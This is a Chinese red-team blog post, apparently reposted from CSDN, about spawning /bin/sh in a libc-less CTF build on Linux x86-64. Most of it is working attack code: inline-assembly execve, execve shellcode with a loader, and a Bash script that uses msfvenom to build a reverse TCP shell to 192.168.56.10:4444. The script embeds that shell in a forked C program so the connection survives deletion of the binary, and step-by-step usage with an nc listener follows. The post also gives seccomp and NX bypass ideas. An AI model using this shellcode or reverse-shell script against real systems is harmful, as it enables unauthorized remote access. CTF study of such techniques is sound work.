// 红队渗透 · 2025-08-20

绕过 C 标准库限制执行系统命令:系统调用、Shellcode 和裸机二进制

引言

在某些编程挑战或受限环境中,例如 CTF竞赛或嵌入式系统,C 标准库(libc)可能被明确禁止使用。这种限制阻止了使用便捷的函数,如 system() 或 execve(),迫使开发者直接与操作系统交互。 在这里插入图片描述

在一道题目中,给定了编译参数如下: gcc -std=c11 -nostdinc -I/var/www/include -z execstack -fno-stack-protector -no-pie test.c -o a.out,它禁用了标准库的包含,并放宽了某些安全限制,为使用低级技术(如系统调用和 shellcode)打开了大门。本文将探讨在 Linux x86-64 系统上如何绕过这些限制以执行任意命令,特别是启动 /bin/sh,主要通过两种方法:不使用 libc 的手写 C 系统调用和纯 shellcode 注入。我们还将讨论常见问题、优化技巧和实际实现,包括一个 shellcode 加载器脚本。


理解约束

给定的编译参数提供了关键的环境信息:

  • -nostdinc:阻止包含标准 C 库头文件,确保代码不能依赖标准库。
  • -z execstack:使栈内存可执行,允许在栈上运行代码(如 shellcode)。
  • -fno-stack-protector:禁用栈溢出保护(栈缓冲区溢出检查),便于利用栈溢出。
  • -no-pie:禁用位置无关可执行文件(PIE),生成的二进制文件使用固定地址,便于 shellcode 跳转。
  • -std=c11:使用 C11 标准,但不影响核心限制。
  • -I/var/www/include:指定自定义头文件路径,但不提供标准库功能。

目标是通过直接与 Linux 内核交互,执行 /bin/sh,而核心方法是使用 execve 系统调用(系统调用号 59)。由于标准库被禁用,我们需要通过内联汇编直接调用 syscall 指令或使用纯 shellcode 来实现。

方法一:手写系统调用(无 libc 的 C 程序)

实现原理

Linux 内核通过系统调用(syscall)提供服务,允许用户态程序请求内核执行特定操作,例如启动新进程或打开文件。execve 系统调用可以执行 /bin/sh,其原型为:

int execve(const char *pathname, char *const argv[], char *const envp[]);

在 x86-64 架构下,系统调用通过 syscall 指令触发,参数通过寄存器传递(rdi、rsi、rdx 等),系统调用号存储在 rax 中。对于 execve,我们需要:

  • rax = 59(execve 的系统调用号)
  • rdi:指向 /bin/sh 字符串的指针
  • rsi:argv(通常为 NULL)
  • rdx:envp(通常为 NULL)

由于不能使用 libc,我们需要通过内联汇编直接发出 syscall,并确保程序不依赖标准库的启动代码(如 crt0)。

最小 C 代码实现

以下是一个最小化的 C 程序,使用内联汇编实现 execve("/bin/sh", NULL, NULL):

// mini.c
__attribute__((naked, noreturn)) void _start() {
    asm volatile(
        "lea   binsh(%rip), %rdi \n\t"   // pathname
        "xor   %rsi, %rsi               \n\t"   // argv = NULL
        "xor   %rdx, %rdx               \n\t"   // envp = NULL
        "mov   $59, %rax                \n\t"   // execve
        "syscall                        \n\t"
        "hlt                            \n\t"   // never return
        "binsh: .asciz \"/bin/sh\""
    );
}

代码解析

  • __attribute__((naked, noreturn)):
    • naked:告诉编译器不要为函数生成序言和结尾代码(例如栈帧设置),完全由汇编控制。
    • noreturn:指示函数不会返回,避免编译器生成不必要的返回代码。
  • _start:这是程序的入口点,取代标准 C 的 main 函数,因为我们不使用 libc 的启动代码。
  • 内联汇编:
    • lea binsh(%rip), %rdi:将 /bin/sh 字符串的地址加载到 rdi(RIP 相对寻址,确保位置无关)。
    • xor %rsi, %rsi 和 xor %rdx, %rdx:将 argv 和 envp 设置为 NULL。
    • mov $59, %rax:设置系统调用号为 59(execve)。
    • syscall:触发系统调用,执行 /bin/sh。
    • hlt:停止执行,防止程序继续运行(实际上不会到达此指令,因为 execve 会替换进程映像)。
    • binsh: .asciz "/bin/sh":定义一个以空字符结尾的字符串 /bin/sh。

编译与链接

为了生成不依赖 libc 的可执行文件,使用以下命令:

gcc -nostdlib -static -Wl,--build-id=none -o mini mini.c
strip -s mini
  • -nostdlib:不链接标准库或启动代码,确保二进制文件完全独立。
  • -static:静态链接,避免依赖动态链接器(如 ld.so)。
  • -Wl,--build-id=none:移除构建 ID,进一步减小二进制体积。
  • strip -s mini:去除符号表和调试信息,将二进制文件缩小到几百字节。

生成的 mini 文件是一个极小的静态二进制文件,直接调用内核的 execve 服务,启动 /bin/sh。

优化与控制体积

静态链接可能会生成较大的二进制文件(几 KB)。为了进一步优化,可以使用自定义链接脚本:

ld -Ttext 0x400000 -e _start mini.o -o mini
  • -Ttext 0x400000:将代码段起始地址设置为 0x400000(ELF 默认文本段地址)。
  • -e _start:指定入口点为 _start。
  • mini.o:由 gcc -c mini.c 编译得到的目标文件。

这种方法可以将二进制文件控制在 1 KB 以内,适合受限环境。

方法二:纯 Shellcode 实现

实现原理

Shellcode 是一段紧凑的机器码,设计为在受限环境中直接执行。由于题目放宽了栈保护(-z execstack 和 -fno-stack-protector),我们可以将 shellcode 写入可执行内存(例如栈或数据段),然后跳转执行。以下是一个 16 字节的 shellcode,用于调用 execve("/bin/sh", NULL, NULL):

; nasm -f bin sh.s -o sh.bin
BITS 64
    lea    rdi, [rel binsh]
    xor    rsi, rsi
    xor    rdx, rdx
    mov    rax, 59
    syscall
binsh: db "/bin/sh",0

机器码

汇编后,生成以下 16 字节机器码:

48 8D 3D 0E 00 00 00   ; lea rdi,[rip+0xe]
48 31 F6               ; xor rsi,rsi
48 31 D2               ; xor rdx,rdx
48 C7 C0 3B 00 00 00   ; mov rax,0x3b
0F 05                  ; syscall
2F 62 69 6E 2F 73 68 00 ; "/bin/sh",0

使用场景

如果题目存在栈溢出漏洞,并且栈可执行(由 -z execstack 保证),可以将上述机器码写入栈或其他可执行内存区域,然后将控制流跳转到该地址。跳转可以通过以下方式实现:

  • 栈溢出:覆盖返回地址为 shellcode 地址。
  • 函数指针覆盖:将函数指针指向 shellcode。
  • 直接调用:将 shellcode 放入 .data 或 .bss 段,转换为函数指针调用。

加载 Shellcode 的 C 程序

为了方便注入 shellcode,可以使用以下 C 程序加载并执行它:

int main(void) {
    unsigned char sc[] = {
        0x48, 0x8D, 0x3D, 0x0E, 0x00, 0x00, 0x00,
        0x48, 0x31, 0xF6,
        0x48, 0x31, 0xD2,
        0x48, 0xC7, 0xC0, 0x3B, 0x00, 0x00, 0x00,
        0x0F, 0x05,
        0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00
    };
    ((void(*)())sc)();
    return 0;
}
  • sc[]:存储 shellcode 的字节数组。
  • ((void(*)())sc)():将数组转换为函数指针并调用,执行 shellcode。

编译时使用题目提供的参数:

gcc -std=c11 -nostdinc -I/var/www/include -z execstack -fno-stack-protector -no-pie test.c -o a.out

由于 -z execstack,sc[] 所在的栈内存是可执行的,shellcode 将直接运行并启动 /bin/sh。

常见问题与解决方案

在实际环境中,可能遇到以下挑战:

  1. 没有 /bin/sh:

    • 解决方法:使用 open、read 和 write 系统调用实现一个简单的 shell。例如:
      int open(const char *pathname, int flags);
      ssize_t read(int fd, void *buf, size_t count);
      ssize_t write(int fd, const void *buf, size_t count);
      通过这些调用读写标准输入输出,模拟 shell 功能。
    • 替代方法:使用 openat 和 execveat 访问 /proc/self/fd/3 等文件描述符。
  2. Seccomp 沙箱限制:

    • 解决方法:
      • 使用 prctl(PR_SET_SECCOMP, 0) 尝试禁用 seccomp(需要权限)。
      • 使用 ptrace 修改自身进程的 seccomp 规则(高级技巧)。
      • 退而求其次,使用 open、read 和 write 系统调用(通常未被 seccomp 禁用)实现 ORW(Open-Read-Write)攻击。
  3. 栈不可执行:

    • 解决方法:
      • 将 shellcode 放入 .bss 或 .data 段(这些段通常是可写的)。
      • 使用 mmap 系统调用分配一块 RWX(可读、可写、可执行)内存:
        void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
        设置 prot = PROT_READ | PROT_WRITE | PROT_EXEC,flags = MAP_PRIVATE | MAP_ANONYMOUS。
  4. 二进制文件体积过大:

    • 解决方法:如前所述,使用自定义链接脚本或 strip 工具减少体积。
    • 极致优化:直接生成纯机器码(shellcode),避免 ELF 文件头。

Shellcode 加载器脚本

为了自动化生成反弹 shell 的 shellcode 并嵌入 C 程序,我写了如下 Bash 脚本:

#!/usr/bin/env bash
LHOST="192.168.56.10"
LPORT="4444"
OUT_C="test.c"

# 1. 生成 shellcode
msfvenom -p linux/x64/shell_reverse_tcp \
         LHOST="$LHOST" LPORT="$LPORT" \
         -f raw 2>/dev/null > /tmp/rev.raw
[[ -s /tmp/rev.raw ]] || { echo "[-] msfvenom failed"; exit 1; }

# 2. 转换为十六进制
SC_HEX=$(xxd -p -c 1 /tmp/rev.raw | sed 's/^/0x/' | paste -sd',' -)

# 3. 生成 C 文件(子进程执行)
cat > "$OUT_C" <<EOF
int fork(void);
int execve(const char *p, char *const a[], char *const e[]);

int main(void)
{
    if (fork() == 0) {
        unsigned char sc[] = {$SC_HEX};
        ((void(*)())sc)();
    }
    return 0;
}
EOF

echo "[+] Generated $OUT_C"

脚本解析

  • msfvenom:使用 Metasploit 的 msfvenom 生成反向 shell shellcode,连接到指定 LHOST 和 LPORT。
  • xxd:将原始 shellcode 转换为十六进制格式,适配 C 数组。
  • fork():在 C 程序中创建子进程执行 shellcode,主进程保持运行,确保二进制文件被删除后不断连。

使用方法

  1. 设置 LHOST 和 LPORT 为你的监听地址和端口。
  2. 运行脚本,生成 test.c。
  3. 使用题目提供的编译命令编译:
    gcc -std=c11 -nostdinc -I/var/www/include -z execstack -fno-stack-protector -no-pie test.c -o a.out
  4. 在 LHOST:LPORT 上启动监听器(如 nc -lvp 4444),运行 a.out,获取反向 shell。

结论

在禁用 C 标准库的 Linux x86-64 环境中,通过直接使用 syscall 指令或 shellcode,我们可以绕过限制并执行任意命令(如启动 /bin/sh)。方法一(C 系统调用)适合快速开发和调试,方法二(纯 shellcode)则适合极小体积和漏洞利用场景。

总的来说,“禁止 libc” 只是让你丢掉 system() 这种糖,无论环境如何限制,只要还能发出 0x80 或 syscall 指令,你就能让内核干活。

原文 https://blog.csdn.net/2301_79518550/article/details/150412501